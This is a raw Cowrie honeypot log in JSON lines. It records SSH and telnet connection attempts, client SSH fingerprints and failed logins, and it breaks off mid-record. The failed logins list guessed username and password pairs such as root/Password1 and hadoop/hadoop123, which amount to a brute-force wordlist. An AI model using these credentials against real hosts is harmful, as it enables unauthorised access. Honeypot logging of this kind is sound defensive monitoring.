{"eventid":"cowrie.session.closed","duration":44.84422183036804,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:23:43.903867Z","src_ip":"192.119.13.58","session":"d0b4c2df7be4","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"kafka","password":"kafka","message":"login attempt [kafka/kafka] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:23:44.263091Z","src_ip":"45.153.34.112","session":"59c901c2c9d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:23:45.348987Z","src_ip":"45.153.34.112","session":"59c901c2c9d9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50354,"dst_ip":"10.17.0.5","dst_port":23,"session":"a5b7a2d7bc26","protocol":"telnet","message":"New connection: 192.119.13.58:50354 (10.17.0.5:23) [session: a5b7a2d7bc26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:23:45.572660Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":52932,"dst_ip":"10.17.0.5","dst_port":23,"session":"c5c8cd62c696","protocol":"telnet","message":"New connection: 192.119.13.58:52932 (10.17.0.5:23) [session: c5c8cd62c696]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:23:46.182460Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":55880,"dst_ip":"10.17.0.5","dst_port":22,"session":"6be385ebda3a","protocol":"ssh","message":"New connection: 45.153.34.112:55880 (10.17.0.5:22) [session: 6be385ebda3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:23:47.391024Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:23:47.397093Z","src_ip":"45.153.34.112","session":"6be385ebda3a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:23:47.480665Z","src_ip":"45.153.34.112","session":"6be385ebda3a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password1","message":"login attempt [root/Password1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:23:47.729645Z","src_ip":"45.153.34.112","session":"6be385ebda3a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.79326558113098,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:23:48.355538Z","src_ip":"192.119.13.58","session":"4271321056e7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:23:48.819575Z","src_ip":"45.153.34.112","session":"6be385ebda3a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":36636,"dst_ip":"159.203.135.109","dst_port":22,"session":"73819c021de1","protocol":"ssh","message":"New connection: 103.27.238.116:36636 (159.203.135.109:22) [session: 73819c021de1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:23:48.884345Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:23:48.888946Z","src_ip":"103.27.238.116","session":"73819c021de1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.458054065704346,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:23:49.078737Z","src_ip":"192.119.13.58","session":"b385dd1a4399","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:23:49.152023Z","src_ip":"103.27.238.116","session":"73819c021de1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"303030","message":"login attempt [root/303030] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:23:49.932869Z","src_ip":"103.27.238.116","session":"73819c021de1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":37246,"dst_ip":"10.17.0.5","dst_port":22,"session":"81541e378650","protocol":"ssh","message":"New connection: 45.153.34.112:37246 (10.17.0.5:22) [session: 81541e378650]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:23:51.092275Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:23:51.095717Z","src_ip":"45.153.34.112","session":"81541e378650","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:23:51.177324Z","src_ip":"45.153.34.112","session":"81541e378650","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:23:51.195231Z","src_ip":"103.27.238.116","session":"73819c021de1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"hadoop123","message":"login attempt [hadoop/hadoop123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:23:51.547408Z","src_ip":"45.153.34.112","session":"81541e378650","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:23:52.632898Z","src_ip":"45.153.34.112","session":"81541e378650","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":37248,"dst_ip":"10.17.0.5","dst_port":22,"session":"1a5a48247c98","protocol":"ssh","message":"New connection: 45.153.34.112:37248 (10.17.0.5:22) [session: 1a5a48247c98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:23:54.817264Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:23:54.826335Z","src_ip":"45.153.34.112","session":"1a5a48247c98","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:23:54.909852Z","src_ip":"45.153.34.112","session":"1a5a48247c98","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"apache","password":"apache","message":"login attempt [apache/apache] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:23:55.164332Z","src_ip":"45.153.34.112","session":"1a5a48247c98","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:23:56.249661Z","src_ip":"45.153.34.112","session":"1a5a48247c98","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38090,"dst_ip":"10.17.0.5","dst_port":23,"session":"aa90718b11e9","protocol":"telnet","message":"New connection: 192.119.13.58:38090 (10.17.0.5:23) [session: aa90718b11e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:23:56.409880Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":37258,"dst_ip":"10.17.0.5","dst_port":22,"session":"3f5373e8c0ba","protocol":"ssh","message":"New connection: 45.153.34.112:37258 (10.17.0.5:22) [session: 3f5373e8c0ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:23:58.513889Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:23:58.518081Z","src_ip":"45.153.34.112","session":"3f5373e8c0ba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:23:58.599457Z","src_ip":"45.153.34.112","session":"3f5373e8c0ba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"ansible","message":"login attempt [ansible/ansible] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:23:58.850055Z","src_ip":"45.153.34.112","session":"3f5373e8c0ba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"81.9.145.130","src_port":50422,"dst_ip":"10.17.0.5","dst_port":22,"session":"a42c81a9f582","protocol":"ssh","message":"New connection: 81.9.145.130:50422 (10.17.0.5:22) [session: a42c81a9f582]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:23:59.294227Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:23:59.299109Z","src_ip":"81.9.145.130","session":"a42c81a9f582","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:23:59.411913Z","src_ip":"81.9.145.130","session":"a42c81a9f582","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"amadeus","message":"login attempt [root/amadeus] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:23:59.903208Z","src_ip":"81.9.145.130","session":"a42c81a9f582","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:23:59.935922Z","src_ip":"45.153.34.112","session":"3f5373e8c0ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:24:01.022295Z","src_ip":"81.9.145.130","session":"a42c81a9f582","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":55854,"dst_ip":"10.17.0.5","dst_port":23,"session":"9674b884b275","protocol":"telnet","message":"New connection: 192.119.13.58:55854 (10.17.0.5:23) [session: 9674b884b275]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:24:01.047496Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":43458,"dst_ip":"10.17.0.5","dst_port":22,"session":"b76bfc0f1f09","protocol":"ssh","message":"New connection: 45.153.34.112:43458 (10.17.0.5:22) [session: b76bfc0f1f09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:24:02.041777Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:24:02.046798Z","src_ip":"45.153.34.112","session":"b76bfc0f1f09","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:24:02.159804Z","src_ip":"45.153.34.112","session":"b76bfc0f1f09","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root12345","message":"login attempt [root/root12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:24:02.612742Z","src_ip":"45.153.34.112","session":"b76bfc0f1f09","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.172415256500244,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:24:03.189463Z","src_ip":"192.119.13.58","session":"7764aa11fff6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.66.52.41","src_port":26489,"dst_ip":"10.17.0.5","dst_port":22,"session":"129a9cdfd430","protocol":"ssh","message":"New connection: 45.66.52.41:26489 (10.17.0.5:22) [session: 129a9cdfd430]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:24:03.716655Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:24:03.721716Z","src_ip":"45.66.52.41","session":"129a9cdfd430","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:24:03.766604Z","src_ip":"45.153.34.112","session":"b76bfc0f1f09","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256"